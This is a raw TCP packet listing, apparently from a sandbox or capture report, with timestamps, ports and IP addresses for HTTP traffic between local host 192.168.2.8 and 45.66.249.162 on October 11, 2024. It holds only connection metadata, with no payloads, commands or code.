Oct 11, 2024 22:32:39.462338924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462352037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462383032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462384939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462435961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462440014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462481022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462538958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462539911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462553024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462599039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462603092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462649107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462692022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462694883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462735891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462743044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.463905096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.528769970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.528835058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.528846025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.528882980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.528924942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.528928041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.528976917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529021978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529041052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529081106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529088020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529129028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529182911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529201031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529259920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529304028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529309034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529352903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529375076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529417038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529437065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529475927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529501915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529546976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529551983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529612064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529668093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529736042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529794931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529838085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529879093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529918909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529953957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.529992104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.529999018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530078888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530122042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530138016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530175924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530183077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530229092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530268908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530272007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530339956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530395031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530407906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530448914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530463934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530548096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530560970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530586004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530592918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530635118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530641079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530678988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530700922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530740023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530746937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530783892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530787945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530826092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530858040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530908108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.530949116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.530961990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531001091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531042099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531048059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531085014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531097889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531155109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531199932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531213999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531259060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531260014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531306982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531352997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531405926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531451941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531455994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531501055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531502008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531539917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531548023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531590939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531594038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531640053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531683922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531685114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531727076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531733036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531766891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531775951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531810999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531821012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531866074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531867981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531913996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.531924009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.531969070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532001019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532017946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532033920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532078028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532107115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532124043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532140970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532171011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532172918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532217026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532258034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532263041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532303095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532304049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532360077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532401085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532407045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532448053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532453060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532510996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532557011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532582045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532594919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532613993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532659054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532701969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532717943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532758951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532763004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532819986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532864094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532866955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532912970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.532919884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.532969952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533006907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533008099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533054113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533087969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533097029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533142090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533165932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533199072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533236980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533243895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533288956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533327103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533333063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533370972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533385038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533430099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533469915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533474922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533519983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533557892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533565044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533601046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533632994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533679962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533718109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533724070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533768892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533808947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533808947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533843994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533852100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533905029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.533946037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.533950090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.534017086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.534060955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.534064054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.534099102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.534109116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.534173012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.534213066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550587893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550614119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550633907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550647974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550652027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550695896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550695896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550695896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550712109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550736904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550755978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550770044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550774097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550797939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.550801992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550822973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.550841093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.551273108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.551290989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.551317930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.551317930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.551331997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.551337957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.551352024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.551359892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.551371098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.551395893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617429972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617446899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617480993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617491007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617503881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617523909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617532969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617532969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617544889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617544889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617558956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617573023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617578983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617594957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.617604971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.617651939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.619477034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619494915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619507074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619518042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619529963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619529963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.619540930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619554043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619554043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.619569063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619580984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.619590044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.619702101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.679909945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.679945946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.679965019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.679990053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680001974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680011988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680022955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680033922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680044889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680054903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680064917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680075884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680087090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680092096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680097103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680135012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680135965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680149078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680183887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680198908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680239916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680253029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680265903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680283070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680294991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680303097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680310965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680322886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680334091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680336952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680360079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680361032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680377960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680387020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680391073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680402994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680413961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680414915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680424929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680437088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680443048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680447102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680459976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680478096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680491924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680502892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680504084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680517912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680531025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680541992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680557013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680566072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680583954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680596113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680596113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680609941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680622101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680623055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680640936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680648088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680656910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680660963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680682898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680685997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680697918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680707932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680721998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680725098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680735111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680741072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680764914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680773973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680792093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680792093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680804014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680813074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680826902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680840969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680852890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680852890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680891037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.680912018 CEST	80	49707	45.66.249.162	192.168.2.8
